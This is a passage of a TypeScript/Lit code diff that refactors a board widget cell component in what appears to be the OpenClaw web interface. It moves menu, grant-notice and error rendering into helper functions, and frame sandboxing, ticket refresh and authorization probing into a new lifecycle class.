${t("board.widget.remove")}
|
||||
</wa-dropdown-item>
|
||||
</wa-dropdown>
|
||||
`;
|
||||
}
|
||||
|
||||
export function renderBoardWidgetPending(options: {
|
||||
widget: BoardViewWidget;
|
||||
disabled: boolean;
|
||||
onGrant: (decision: BoardGrantDecision) => void;
|
||||
error?: TemplateResult;
|
||||
}): TemplateResult {
|
||||
return renderBoardPendingCapabilities(options);
|
||||
}
|
||||
|
||||
export function renderBoardWidgetRejected(options: {
|
||||
widget: BoardViewWidget;
|
||||
disabled: boolean;
|
||||
onRemove: () => void;
|
||||
}): TemplateResult {
|
||||
return html`
|
||||
<div class="board-widget__grant board-widget__grant--rejected" data-test-id="board-rejected">
|
||||
<strong>${t("board.widget.rejected")}</strong>
|
||||
<span>${t("board.widget.rejectedDetail")}</span>
|
||||
<button
|
||||
class="btn btn--small"
|
||||
type="button"
|
||||
?disabled=${options.disabled}
|
||||
@click=${options.onRemove}
|
||||
>
|
||||
${t("board.widget.remove")}
|
||||
</button>
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
|
||||
export function renderBoardWidgetError(error: unknown): TemplateResult {
|
||||
const message = error instanceof Error ? error.message : String(error);
|
||||
return html`
|
||||
<div class="board-widget__error" role="alert" data-test-id="board-widget-error">
|
||||
<strong>${t("board.widget.errorTitle")}</strong>
|
||||
<span>${t("board.widget.errorDetail")}</span>
|
||||
<details>
|
||||
<summary>${t("board.widget.errorShow")}</summary>
|
||||
<code>${message}</code>
|
||||
</details>
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
|
||||
export function renderBoardWidgetActionError(error: string, inline = false): TemplateResult {
|
||||
return html`
|
||||
<div
|
||||
class=${`board-widget__error ${inline ? "board-widget__error--inline" : ""}`}
|
||||
role="alert"
|
||||
data-test-id="board-widget-action-error"
|
||||
>
|
||||
<strong>${t("board.widget.actionErrorTitle")}</strong>
|
||||
<span>${t("board.widget.actionErrorDetail")}</span>
|
||||
<details>
|
||||
<summary>${t("board.widget.errorShow")}</summary>
|
||||
<code>${error}</code>
|
||||
</details>
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
@@ -1,6 +1,8 @@
|
||||
import { consume } from "@lit/context";
|
||||
import { html, nothing, type PropertyValues, type TemplateResult } from "lit";
|
||||
import { property, state } from "lit/decorators.js";
|
||||
import type { GatewaySessionRow } from "../../api/types.ts";
|
||||
import { applicationContext, type ApplicationContext } from "../../app/context.ts";
|
||||
import { ensureCustomElementDefined } from "../../app/lazy-custom-element.ts";
|
||||
import { t } from "../../i18n/index.ts";
|
||||
import type { BoardGridDirection, BoardGridRect } from "../../lib/board/grid.ts";
|
||||
@@ -16,16 +18,20 @@ import { getBuiltinWidgetRenderer } from "../../lib/board/widgets/index.ts";
|
||||
import { OpenClawLightDomElement } from "../../lit/openclaw-element.ts";
|
||||
import { renderBoardMcpAppContent } from "./board-mcp-app-content.ts";
|
||||
import { BoardMcpAppLifecycle } from "./board-mcp-app-lifecycle.ts";
|
||||
import { renderBoardWidgetFrame } from "./board-widget-frame.ts";
|
||||
import { renderBoardGrantedCapabilities } from "./board-widget-capabilities.ts";
|
||||
import {
|
||||
BOARD_SIZE_PRESETS,
|
||||
closeBoardWidgetMenu,
|
||||
renderBoardWidgetActionError,
|
||||
renderBoardWidgetError,
|
||||
renderBoardWidgetMenu,
|
||||
renderBoardWidgetPending,
|
||||
renderBoardWidgetRejected,
|
||||
} from "./board-widget-cell-render.ts";
|
||||
import { BoardWidgetFrameLifecycle } from "./board-widget-frame.ts";
|
||||
import "../tooltip.ts";
|
||||
import "../web-awesome.ts";
|
||||
|
||||
const BOARD_SIZE_PRESETS = {
|
||||
sm: { w: 3, h: 3 },
|
||||
md: { w: 6, h: 4 },
|
||||
lg: { w: 8, h: 6 },
|
||||
xl: { w: 12, h: 8 },
|
||||
} as const;
|
||||
const MAX_FRAME_REFRESH_ATTEMPTS = 3;
|
||||
const loadMcpAppView = () => import("../mcp-app-view-registration.ts");
|
||||
|
||||
export type BoardWidgetCellCallbacks = {
|
||||
@@ -44,6 +50,9 @@ export type BoardWidgetCellCallbacks = {
|
||||
};
|
||||
|
||||
class OpenClawBoardWidgetCell extends OpenClawLightDomElement {
|
||||
@consume({ context: applicationContext, subscribe: true })
|
||||
private context?: ApplicationContext;
|
||||
|
||||
@property({ attribute: false }) widget?: BoardViewWidget;
|
||||
@property({ attribute: false }) rect?: BoardGridRect;
|
||||
@property({ attribute: false }) tabs: readonly BoardTab[] = [];
|
||||
@@ -59,20 +68,25 @@ class OpenClawBoardWidgetCell extends OpenClawLightDomElement {
|
||||
|
||||
@state() private actionError = "";
|
||||
@state() private actionPending = false;
|
||||
@state() private frameError = "";
|
||||
private frameFailureKey = "";
|
||||
private frameRefreshAttempts = 0;
|
||||
private frameProbeGeneration = 0;
|
||||
private lastFrameUrl = "";
|
||||
private readonly appView = new BoardMcpAppLifecycle({
|
||||
connected: () => this.isConnected,
|
||||
requestUpdate: () => this.requestUpdate(),
|
||||
sessionKey: () => this.sessionKey,
|
||||
widget: () => this.widget,
|
||||
});
|
||||
private readonly frame = new BoardWidgetFrameLifecycle({
|
||||
connected: () => this.isConnected,
|
||||
context: () => this.context,
|
||||
refreshFrame: () => this.callbacks?.frameLoadFailed,
|
||||
requestUpdate: () => this.requestUpdate(),
|
||||
resolveFrameUrl: () => this.widgetFrameUrl,
|
||||
root: () => this,
|
||||
widget: () => this.widget,
|
||||
});
|
||||
|
||||
override connectedCallback(): void {
|
||||
super.connectedCallback();
|
||||
this.frame.connect();
|
||||
this.requestUpdate();
|
||||
}
|
||||
|
||||
@@ -80,19 +94,7 @@ class OpenClawBoardWidgetCell extends OpenClawLightDomElement {
|
||||
const previousWidget = changed.get("widget");
|
||||
if (previousWidget && previousWidget !== this.widget) {
|
||||
this.actionError = "";
|
||||
if (
|
||||
previousWidget.name !== this.widget?.name ||
|
||||
previousWidget.revision !== this.widget?.revision
|
||||
) {
|
||||
this.resetFrameFailures();
|
||||
} else if (this.widget && this.frameError) {
|
||||
const nextFrameUrl = this.widgetFrameUrl?.(this.widget.name, this.widget.revision) ?? "";
|
||||
if (nextFrameUrl && nextFrameUrl !== this.lastFrameUrl) {
|
||||
// A newly minted ticket gets one authorization probe, but keeps the
|
||||
// existing remint budget until that probe proves the frame healthy.
|
||||
this.frameError = "";
|
||||
}
|
||||
}
|
||||
this.frame.widgetChanged(previousWidget, this.widget);
|
||||
}
|
||||
this.appView.update(this.widget, this.callbacks);
|
||||
}
|
||||
@@ -111,34 +113,22 @@ class OpenClawBoardWidgetCell extends OpenClawLightDomElement {
|
||||
this.appView.sync();
|
||||
}
|
||||
});
|
||||
this.frame.update();
|
||||
}
|
||||
|
||||
override disconnectedCallback(): void {
|
||||
this.frame.disconnect();
|
||||
this.appView.disconnect();
|
||||
super.disconnectedCallback();
|
||||
}
|
||||
|
||||
private resetFrameFailures(): void {
|
||||
this.frameProbeGeneration += 1;
|
||||
this.frameFailureKey = "";
|
||||
this.frameRefreshAttempts = 0;
|
||||
this.frameError = "";
|
||||
}
|
||||
|
||||
private closeMenu(): void {
|
||||
const menu = this.querySelector<HTMLElement & { open: boolean }>(".board-widget__menu");
|
||||
if (menu) {
|
||||
menu.open = false;
|
||||
}
|
||||
}
|
||||
|
||||
private async runAction(action: () => Promise<void>): Promise<void> {
|
||||
if (this.actionPending || this.busy) {
|
||||
return;
|
||||
}
|
||||
this.actionPending = true;
|
||||
this.actionError = "";
|
||||
this.closeMenu();
|
||||
closeBoardWidgetMenu(this);
|
||||
try {
|
||||
await action();
|
||||
} catch (error) {
|
||||
@@ -171,189 +161,6 @@ class OpenClawBoardWidgetCell extends OpenClawLightDomElement {
|
||||
}
|
||||
}
|
||||
|
||||
private renderMenu(widget: BoardViewWidget, callbacks: BoardWidgetCellCallbacks): TemplateResult {
|
||||
const otherTabs = this.tabs.filter((tab) => tab.tabId !== widget.tabId);
|
||||
return html`
|
||||
<wa-dropdown
|
||||
class="board-widget__menu"
|
||||
placement="bottom-end"
|
||||
@wa-select=${(event: CustomEvent<{ item: { value?: string } }>) =>
|
||||
this.handleMenuSelect(event, widget, callbacks)}
|
||||
>
|
||||
<button
|
||||
class="board-widget__menu-trigger"
|
||||
slot="trigger"
|
||||
type="button"
|
||||
aria-label=${t("board.widget.menuLabel")}
|
||||
title=${t("board.widget.menuLabel")}
|
||||
>
|
||||
⋮
|
||||
</button>
|
||||
<div class="board-widget__menu-heading">${t("board.widget.moveToTab")}</div>
|
||||
${otherTabs.length > 0
|
||||
? otherTabs.map(
|
||||
(tab) => html`
|
||||
<wa-dropdown-item
|
||||
value=${`move:${tab.tabId}`}
|
||||
?disabled=${this.busy || this.actionPending}
|
||||
>
|
||||
${tab.title}
|
||||
</wa-dropdown-item>
|
||||
`,
|
||||
)
|
||||
: html`<span class="board-widget__menu-empty">${t("board.widget.noOtherTabs")}</span>`}
|
||||
<div class="board-widget__menu-heading">${t("board.widget.resize")}</div>
|
||||
${Object.entries(BOARD_SIZE_PRESETS).map(
|
||||
([label, size]) => html`
|
||||
<wa-dropdown-item
|
||||
class="board-widget__preset"
|
||||
value=${`resize:${label}`}
|
||||
?disabled=${this.busy || this.actionPending}
|
||||
>
|
||||
${label.toUpperCase()}
|
||||
<span slot="details">${size.w}×${size.h}</span>
|
||||
</wa-dropdown-item>
|
||||
`,
|
||||
)}
|
||||
<div class="board-widget__menu-separator" role="separator"></div>
|
||||
<wa-dropdown-item
|
||||
class="board-widget__menu-danger"
|
||||
value="remove"
|
||||
?disabled=${this.busy || this.actionPending}
|
||||
>
|
||||
${t("board.widget.remove")}
|
||||
</wa-dropdown-item>
|
||||
</wa-dropdown>
|
||||
`;
|
||||
}
|
||||
|
||||
private renderPending(
|
||||
widget: BoardViewWidget,
|
||||
callbacks: BoardWidgetCellCallbacks,
|
||||
): TemplateResult {
|
||||
return html`
|
||||
<div class="board-widget__grant board-widget__grant--pending" data-test-id="board-pending">
|
||||
<div class="board-widget__grant-mark" aria-hidden="true">!</div>
|
||||
<strong>${t("board.widget.needsApproval")}</strong>
|
||||
${widget.declaredSummary?.length
|
||||
? html`<ul class="board-widget__grant-summary">
|
||||
${widget.declaredSummary.map((summary) => html`<li>${summary}</li>`)}
|
||||
</ul>`
|
||||
: html`<span>${t("board.widget.needsApprovalDetail")}</span>`}
|
||||
<div class="board-widget__grant-actions">
|
||||
<button
|
||||
class="btn btn--small btn--primary"
|
||||
type="button"
|
||||
data-test-id="board-grant-allow"
|
||||
?disabled=${this.busy || this.actionPending}
|
||||
@click=${() => void this.runAction(() => callbacks.grant(widget.name, "granted"))}
|
||||
>
|
||||
${t("board.widget.allow")}
|
||||
</button>
|
||||
<button
|
||||
class="btn btn--small"
|
||||
type="button"
|
||||
data-test-id="board-grant-reject"
|
||||
?disabled=${this.busy || this.actionPending}
|
||||
@click=${() => void this.runAction(() => callbacks.grant(widget.name, "rejected"))}
|
||||
>
|
||||
${t("board.widget.reject")}
|
||||
</button>
|
||||
</div>
|
||||
${this.actionError ? this.renderActionError(this.actionError, true) : nothing}
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
|
||||
private renderRejected(
|
||||
widget: BoardViewWidget,
|
||||
callbacks: BoardWidgetCellCallbacks,
|
||||
): TemplateResult {
|
||||
return html`
|
||||
<div class="board-widget__grant board-widget__grant--rejected" data-test-id="board-rejected">
|
||||
<strong>${t("board.widget.rejected")}</strong>
|
||||
<span>${t("board.widget.rejectedDetail")}</span>
|
||||
<button
|
||||
class="btn btn--small"
|
||||
type="button"
|
||||
?disabled=${this.busy || this.actionPending}
|
||||
@click=${() => void this.runAction(() => callbacks.remove(widget))}
|
||||
>
|
||||
${t("board.widget.remove")}
|
||||
</button>
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
|
||||
private refreshFailedFrame(widget: BoardViewWidget, callbacks: BoardWidgetCellCallbacks): void {
|
||||
this.frameProbeGeneration += 1;
|
||||
const failureKey = `${widget.name}:${widget.revision}`;
|
||||
if (this.frameFailureKey !== failureKey) {
|
||||
this.resetFrameFailures();
|
||||
this.frameFailureKey = failureKey;
|
||||
}
|
||||
if (this.frameRefreshAttempts >= MAX_FRAME_REFRESH_ATTEMPTS) {
|
||||
this.frameError = t("board.widget.frameAuthorizationFailed");
|
||||
return;
|
||||
}
|
||||
this.frameRefreshAttempts += 1;
|
||||
void callbacks.frameLoadFailed(widget.name).catch((error: unknown) => {
|
||||
this.frameError = error instanceof Error ? error.message : String(error);
|
||||
});
|
||||
}
|
||||
|
||||
private verifyFrameAuthorization(
|
||||
event: Event,
|
||||
widget: BoardViewWidget,
|
||||
callbacks: BoardWidgetCellCallbacks,
|
||||
): void {
|
||||
const frame = event.currentTarget;
|
||||
const src = frame instanceof HTMLIFrameElement ? (frame.getAttribute("src") ?? "") : "";
|
||||
if (!src.startsWith("/__openclaw__/board/")) {
|
||||
return;
|
||||
}
|
||||
const probeGeneration = this.frameProbeGeneration + 1;
|
||||
this.frameProbeGeneration = probeGeneration;
|
||||
const isCurrentProbe = () =>
|
||||
frame instanceof HTMLIFrameElement &&
|
||||
frame.isConnected &&
|
||||
frame.getAttribute("src") === src &&
|
||||
this.frameProbeGeneration === probeGeneration &&
|
||||
this.widget?.name === widget.name &&
|
||||
this.widget.revision === widget.revision;
|
||||
// View tickets are reusable HMAC bindings until expiry. Iframe load events
|
||||
// hide HTTP status, so a credentialed probe is the only 401 signal.
|
||||
void fetch(src, { cache: "no-store" })
|
||||
.then((response) => {
|
||||
if (!isCurrentProbe()) {
|
||||
return;
|
||||
}
|
||||
if (response.status === 401) {
|
||||
this.refreshFailedFrame(widget, callbacks);
|
||||
} else if (response.ok) {
|
||||
this.resetFrameFailures();
|
||||
}
|
||||
})
|
||||
.catch(() => {
|
||||
if (isCurrentProbe()) {
|
||||
this.refreshFailedFrame(widget, callbacks);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private renderFrame(
|
||||
widget: BoardViewWidget,
|
||||
callbacks: BoardWidgetCellCallbacks,
|
||||
): TemplateResult {
|
||||
return renderBoardWidgetFrame(
|
||||
widget,
|
||||
this.widgetFrameUrl,
|
||||
(src) => (this.lastFrameUrl = src),
|
||||
() => this.refreshFailedFrame(widget, callbacks),
|
||||
(event) => this.verifyFrameAuthorization(event, widget, callbacks),
|
||||
);
|
||||
}
|
||||
|
||||
private renderMcpApp(
|
||||
widget: BoardViewWidget,
|
||||
callbacks: BoardWidgetCellCallbacks,
|
||||
@@ -361,9 +168,21 @@ class OpenClawBoardWidgetCell extends OpenClawLightDomElement {
|
||||
void ensureCustomElementDefined("mcp-app-view", loadMcpAppView).catch(() => undefined);
|
||||
const accessNotice =
|
||||
widget.grantState === "pending"
|
||||
? this.renderPending(widget, callbacks)
|
||||
? renderBoardWidgetPending({
|
||||
widget,
|
||||
disabled: this.busy || this.actionPending,
|
||||
onGrant: (decision) =>
|
||||
void this.runAction(() => callbacks.grant(widget.name, decision)),
|
||||
...(this.actionError
|
||||
? { error: renderBoardWidgetActionError(this.actionError, true) }
|
||||
: {}),
|
||||
})
|
||||
: widget.grantState === "rejected"
|
||||
? this.renderRejected(widget, callbacks)
|
||||
? renderBoardWidgetRejected({
|
||||
widget,
|
||||
disabled: this.busy || this.actionPending,
|
||||
onRemove: () => void this.runAction(() => callbacks.remove(widget)),
|
||||
})
|
||||
: nothing;
|
||||
return renderBoardMcpAppContent({
|
||||
accessNotice,
|
||||
@@ -385,10 +204,21 @@ class OpenClawBoardWidgetCell extends OpenClawLightDomElement {
|
||||
return this.renderMcpApp(widget, callbacks);
|
||||
}
|
||||
if (widget.grantState === "pending") {
|
||||
return this.renderPending(widget, callbacks);
|
||||
return renderBoardWidgetPending({
|
||||
widget,
|
||||
disabled: this.busy || this.actionPending,
|
||||
onGrant: (decision) => void this.runAction(() => callbacks.grant(widget.name, decision)),
|
||||
...(this.actionError
|
||||
? { error: renderBoardWidgetActionError(this.actionError, true) }
|
||||
: {}),
|
||||
});
|
||||
}
|
||||
if (widget.grantState === "rejected") {
|
||||
return this.renderRejected(widget, callbacks);
|
||||
return renderBoardWidgetRejected({
|
||||
widget,
|
||||
disabled: this.busy || this.actionPending,
|
||||
onRemove: () => void this.runAction(() => callbacks.remove(widget)),
|
||||
});
|
||||
}
|
||||
if (widget.contentKind === "builtin") {
|
||||
const renderer = getBuiltinWidgetRenderer(widget.builtin);
|
||||
@@ -397,38 +227,7 @@ class OpenClawBoardWidgetCell extends OpenClawLightDomElement {
|
||||
}
|
||||
return renderer({ sessions: this.sessions, sessionKey: this.sessionKey });
|
||||
}
|
||||
return this.renderFrame(widget, callbacks);
|
||||
}
|
||||
|
||||
private renderError(error: unknown): TemplateResult {
|
||||
const message = error instanceof Error ? error.message : String(error);
|
||||
return html`
|
||||
<div class="board-widget__error" role="alert" data-test-id="board-widget-error">
|
||||
<strong>${t("board.widget.errorTitle")}</strong>
|
||||
<span>${t("board.widget.errorDetail")}</span>
|
||||
<details>
|
||||
<summary>${t("board.widget.errorShow")}</summary>
|
||||
<code>${message}</code>
|
||||
</details>
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
|
||||
private renderActionError(error: string, inline = false): TemplateResult {
|
||||
return html`
|
||||
<div
|
||||
class=${`board-widget__error ${inline ? "board-widget__error--inline" : ""}`}
|
||||
role="alert"
|
||||
data-test-id="board-widget-action-error"
|
||||
>
|
||||
<strong>${t("board.widget.actionErrorTitle")}</strong>
|
||||
<span>${t("board.widget.actionErrorDetail")}</span>
|
||||
<details>
|
||||
<summary>${t("board.widget.errorShow")}</summary>
|
||||
<code>${error}</code>
|
||||
</details>
|
||||
</div>
|
||||
`;
|
||||
return this.frame.render(widget);
|
||||
}
|
||||
|
||||
private handleKeyDown(
|
||||
@@ -470,12 +269,12 @@ class OpenClawBoardWidgetCell extends OpenClawLightDomElement {
|
||||
let body: TemplateResult;
|
||||
let bodyErrored: boolean;
|
||||
try {
|
||||
body = this.frameError
|
||||
? this.renderError(this.frameError)
|
||||
body = this.frame.error
|
||||
? renderBoardWidgetError(this.frame.error)
|
||||
: this.renderBody(widget, callbacks);
|
||||
bodyErrored = Boolean(this.frameError);
|
||||
bodyErrored = Boolean(this.frame.error);
|
||||
} catch (error) {
|
||||
body = this.renderError(error);
|
||||
body = renderBoardWidgetError(error);
|
||||
bodyErrored = true;
|
||||
}
|
||||
const label = widget.title || widget.name;
|
||||
@@ -519,7 +318,15 @@ class OpenClawBoardWidgetCell extends OpenClawLightDomElement {
|
||||
? t("board.widget.kindMcp")
|
||||
: t("board.widget.kindHtml")}</span
|
||||
>`}
|
||||
${readOnly ? nothing : this.renderMenu(widget, callbacks)}
|
||||
${widget.contentKind === "builtin" ? nothing : renderBoardGrantedCapabilities(widget)}
|
||||
${readOnly
|
||||
? nothing
|
||||
: renderBoardWidgetMenu({
|
||||
widget,
|
||||
tabs: this.tabs,
|
||||
disabled: this.busy || this.actionPending,
|
||||
onSelect: (event) => this.handleMenuSelect(event, widget, callbacks),
|
||||
})}
|
||||
</header>
|
||||
<div
|
||||
class=${`board-widget__body ${contentScrollable ? "board-widget__body--scrollable" : ""}`}
|
||||
@@ -527,7 +334,7 @@ class OpenClawBoardWidgetCell extends OpenClawLightDomElement {
|
||||
${body}
|
||||
${this.actionError && widget.grantState !== "pending"
|
||||
? html`<div class="board-widget__error-overlay">
|
||||
${this.renderActionError(this.actionError)}
|
||||
${renderBoardWidgetActionError(this.actionError)}
|
||||
</div>`
|
||||
: nothing}
|
||||
</div>
|
||||
|
||||
@@ -1,29 +1,376 @@
|
||||
import { html, type TemplateResult } from "lit";
|
||||
import type { ApplicationContext } from "../../app/context.ts";
|
||||
import { t } from "../../i18n/index.ts";
|
||||
import type { BoardViewWidget, BoardWidgetFrameUrl } from "../../lib/board/view-types.ts";
|
||||
import { BoardWidgetSandboxHost } from "../../lib/board/widget-sandbox-host.ts";
|
||||
import { remainingBoardWidgetTicketTtlMs } from "../../lib/board/widget-ticket-lifetime.ts";
|
||||
import { resolveGatewayHttpOrigin, resolveSandboxHostUrl } from "../sandbox-host.ts";
|
||||
|
||||
export function renderBoardWidgetFrame(
|
||||
widget: BoardViewWidget,
|
||||
resolveFrameUrl: BoardWidgetFrameUrl | undefined,
|
||||
resolved: (src: string) => void,
|
||||
loadFailed: () => void,
|
||||
loaded: (event: Event) => void,
|
||||
): TemplateResult {
|
||||
if (!resolveFrameUrl) {
|
||||
throw new Error(t("board.widget.frameResolverMissing"));
|
||||
const MAX_FRAME_REFRESH_ATTEMPTS = 3;
|
||||
const TICKET_REFRESH_LEAD_MS = 15_000;
|
||||
const TICKET_REFRESH_MIN_DELAY_MS = 1_000;
|
||||
const TICKET_REFRESH_RETRY_MS = 1_000;
|
||||
const TICKET_REFRESH_MAX_RETRY_MS = 30_000;
|
||||
|
||||
type FrameRefresh = (name: string) => Promise<void>;
|
||||
|
||||
type BoardWidgetFrameLifecycleHost = {
|
||||
connected: () => boolean;
|
||||
context: () => ApplicationContext | undefined;
|
||||
refreshFrame: () => FrameRefresh | undefined;
|
||||
requestUpdate: () => void;
|
||||
resolveFrameUrl: () => BoardWidgetFrameUrl | undefined;
|
||||
root: () => ParentNode;
|
||||
widget: () => BoardViewWidget | undefined;
|
||||
};
|
||||
|
||||
class BoardWidgetTicketRefresh {
|
||||
private timer: number | null = null;
|
||||
private attempts = 0;
|
||||
private scheduledTicket = "";
|
||||
|
||||
constructor(private readonly currentTicket: () => string | undefined) {}
|
||||
|
||||
clear(): void {
|
||||
if (this.timer !== null) {
|
||||
window.clearTimeout(this.timer);
|
||||
this.timer = null;
|
||||
}
|
||||
}
|
||||
|
||||
schedule(widget: BoardViewWidget | undefined, refresh: FrameRefresh | undefined): void {
|
||||
const ticket = widget?.viewTicket;
|
||||
const remainingTtlMs = widget ? remainingBoardWidgetTicketTtlMs(widget) : undefined;
|
||||
if (!widget || !refresh || !ticket || remainingTtlMs === undefined) {
|
||||
this.clear();
|
||||
this.attempts = 0;
|
||||
this.scheduledTicket = "";
|
||||
return;
|
||||
}
|
||||
if (this.scheduledTicket === ticket) {
|
||||
return;
|
||||
}
|
||||
this.clear();
|
||||
this.attempts = 0;
|
||||
this.scheduledTicket = ticket;
|
||||
const delayMs = Math.max(TICKET_REFRESH_MIN_DELAY_MS, remainingTtlMs - TICKET_REFRESH_LEAD_MS);
|
||||
this.timer = window.setTimeout(() => {
|
||||
this.timer = null;
|
||||
this.refresh(widget.name, ticket, refresh);
|
||||
}, delayMs);
|
||||
}
|
||||
|
||||
private refresh(name: string, ticket: string, refresh: FrameRefresh): void {
|
||||
if (this.currentTicket() !== ticket || this.scheduledTicket !== ticket) {
|
||||
return;
|
||||
}
|
||||
this.attempts += 1;
|
||||
const retryIfUnchanged = () => {
|
||||
if (this.currentTicket() !== ticket || this.scheduledTicket !== ticket) {
|
||||
return;
|
||||
}
|
||||
// A fulfilled refresh may be discarded by a superseding provider mutation.
|
||||
// Retry until this exact expiring ticket is actually replaced.
|
||||
this.clear();
|
||||
this.timer = window.setTimeout(
|
||||
() => {
|
||||
this.timer = null;
|
||||
this.refresh(name, ticket, refresh);
|
||||
},
|
||||
Math.min(TICKET_REFRESH_RETRY_MS * this.attempts, TICKET_REFRESH_MAX_RETRY_MS),
|
||||
);
|
||||
};
|
||||
void refresh(name).then(retryIfUnchanged, retryIfUnchanged);
|
||||
}
|
||||
const src = resolveFrameUrl(widget.name, widget.revision);
|
||||
resolved(src);
|
||||
return html`
|
||||
<iframe
|
||||
class="board-widget__frame"
|
||||
sandbox="allow-scripts"
|
||||
referrerpolicy="no-referrer"
|
||||
loading="lazy"
|
||||
title=${widget.title || widget.name}
|
||||
src=${src}
|
||||
@error=${loadFailed}
|
||||
@load=${loaded}
|
||||
></iframe>
|
||||
`;
|
||||
}
|
||||
|
||||
export class BoardWidgetFrameLifecycle {
|
||||
error = "";
|
||||
|
||||
private frameFailureKey = "";
|
||||
private frameRefreshAttempts = 0;
|
||||
private frameProbeGeneration = 0;
|
||||
private lastFrameUrl = "";
|
||||
private listening = false;
|
||||
private sandboxOrigin = "";
|
||||
private sandboxHost: BoardWidgetSandboxHost | null = null;
|
||||
private readonly ticketRefresh = new BoardWidgetTicketRefresh(
|
||||
() => this.host.widget()?.viewTicket,
|
||||
);
|
||||
|
||||
constructor(private readonly host: BoardWidgetFrameLifecycleHost) {}
|
||||
|
||||
connect(): void {
|
||||
if (this.listening) {
|
||||
return;
|
||||
}
|
||||
window.addEventListener("message", this.handleSandboxMessage);
|
||||
this.listening = true;
|
||||
}
|
||||
|
||||
disconnect(): void {
|
||||
if (this.listening) {
|
||||
window.removeEventListener("message", this.handleSandboxMessage);
|
||||
this.listening = false;
|
||||
}
|
||||
this.ticketRefresh.clear();
|
||||
this.sandboxHost?.dispose();
|
||||
this.sandboxHost = null;
|
||||
}
|
||||
|
||||
widgetChanged(previous: BoardViewWidget, current: BoardViewWidget | undefined): void {
|
||||
if (previous.name !== current?.name || previous.revision !== current?.revision) {
|
||||
this.resetFailures(false);
|
||||
return;
|
||||
}
|
||||
if (!current || !this.error) {
|
||||
return;
|
||||
}
|
||||
const nextFrameUrl = this.host.resolveFrameUrl()?.(current.name, current.revision) ?? "";
|
||||
if (nextFrameUrl && nextFrameUrl !== this.lastFrameUrl) {
|
||||
// A newly minted ticket gets one authorization probe, but keeps the
|
||||
// existing remint budget until that probe proves the frame healthy.
|
||||
this.setError("", false);
|
||||
}
|
||||
}
|
||||
|
||||
update(): void {
|
||||
this.ticketRefresh.schedule(this.host.widget(), this.host.refreshFrame());
|
||||
this.updateSandboxHost();
|
||||
}
|
||||
|
||||
render(widget: BoardViewWidget): TemplateResult {
|
||||
const resolveFrameUrl = this.host.resolveFrameUrl();
|
||||
if (!resolveFrameUrl) {
|
||||
throw new Error(t("board.widget.frameResolverMissing"));
|
||||
}
|
||||
const src = resolveFrameUrl(widget.name, widget.revision);
|
||||
this.lastFrameUrl = src;
|
||||
const sandboxSrc = this.resolveSandboxFrameUrl(widget);
|
||||
if (sandboxSrc) {
|
||||
return html`
|
||||
<iframe
|
||||
class="board-widget__frame"
|
||||
sandbox="allow-scripts allow-same-origin allow-forms"
|
||||
referrerpolicy="origin"
|
||||
loading="eager"
|
||||
title=${widget.title || widget.name}
|
||||
src=${sandboxSrc}
|
||||
@error=${() => {
|
||||
if (this.sandboxHost) {
|
||||
this.sandboxHost.handleFrameError();
|
||||
} else {
|
||||
this.refreshFailedFrame(widget);
|
||||
}
|
||||
}}
|
||||
></iframe>
|
||||
`;
|
||||
}
|
||||
if (widget.sandboxUrl || widget.sandboxPort || widget.viewTicket) {
|
||||
throw new Error(t("board.widget.sandboxUnavailable"));
|
||||
}
|
||||
// Snapshots from hosts predating the shared-sandbox contract remain capless:
|
||||
// no bridge ticket or network CSP authority crosses this compatibility path.
|
||||
return html`
|
||||
<iframe
|
||||
class="board-widget__frame"
|
||||
sandbox="allow-scripts"
|
||||
referrerpolicy="no-referrer"
|
||||
loading="lazy"
|
||||
title=${widget.title || widget.name}
|
||||
src=${src}
|
||||
@error=${() => this.refreshFailedFrame(widget)}
|
||||
@load=${(event: Event) => this.verifyAuthorization(event, widget)}
|
||||
></iframe>
|
||||
`;
|
||||
}
|
||||
|
||||
private setError(error: string, notify = true): void {
|
||||
if (this.error === error) {
|
||||
return;
|
||||
}
|
||||
this.error = error;
|
||||
if (notify) {
|
||||
this.host.requestUpdate();
|
||||
}
|
||||
}
|
||||
|
||||
private resetFailures(notify = true): void {
|
||||
this.frameProbeGeneration += 1;
|
||||
this.frameFailureKey = "";
|
||||
this.frameRefreshAttempts = 0;
|
||||
this.setError("", notify);
|
||||
this.sandboxHost?.reset();
|
||||
}
|
||||
|
||||
private refreshFailedFrame(widget: BoardViewWidget): void {
|
||||
this.frameProbeGeneration += 1;
|
||||
const failureKey = `${widget.name}:${widget.revision}`;
|
||||
if (this.frameFailureKey !== failureKey) {
|
||||
this.resetFailures(false);
|
||||
this.frameFailureKey = failureKey;
|
||||
}
|
||||
if (this.frameRefreshAttempts >= MAX_FRAME_REFRESH_ATTEMPTS) {
|
||||
this.setError(t("board.widget.frameAuthorizationFailed"));
|
||||
return;
|
||||
}
|
||||
const refreshFrame = this.host.refreshFrame();
|
||||
if (!refreshFrame) {
|
||||
this.setError(t("board.widget.frameResolverMissing"));
|
||||
return;
|
||||
}
|
||||
this.frameRefreshAttempts += 1;
|
||||
void refreshFrame(widget.name).catch((error: unknown) => {
|
||||
this.setError(error instanceof Error ? error.message : String(error));
|
||||
});
|
||||
if (this.frameRefreshAttempts >= MAX_FRAME_REFRESH_ATTEMPTS) {
|
||||
this.setError(t("board.widget.frameAuthorizationFailed"));
|
||||
}
|
||||
}
|
||||
|
||||
private verifyAuthorization(event: Event, widget: BoardViewWidget): void {
|
||||
const frame = event.currentTarget;
|
||||
const src = frame instanceof HTMLIFrameElement ? (frame.getAttribute("src") ?? "") : "";
|
||||
if (!src.startsWith("/__openclaw__/board/")) {
|
||||
return;
|
||||
}
|
||||
const probeGeneration = this.frameProbeGeneration + 1;
|
||||
this.frameProbeGeneration = probeGeneration;
|
||||
const isCurrentProbe = () =>
|
||||
frame instanceof HTMLIFrameElement &&
|
||||
frame.isConnected &&
|
||||
frame.getAttribute("src") === src &&
|
||||
this.frameProbeGeneration === probeGeneration &&
|
||||
this.host.widget()?.name === widget.name &&
|
||||
this.host.widget()?.revision === widget.revision;
|
||||
// View tickets are reusable HMAC bindings until expiry. Iframe load events
|
||||
// hide HTTP status, so a credentialed probe is the only 401 signal.
|
||||
void fetch(src, { cache: "no-store" })
|
||||
.then((response) => {
|
||||
if (!isCurrentProbe()) {
|
||||
return;
|
||||
}
|
||||
if (response.status === 401) {
|
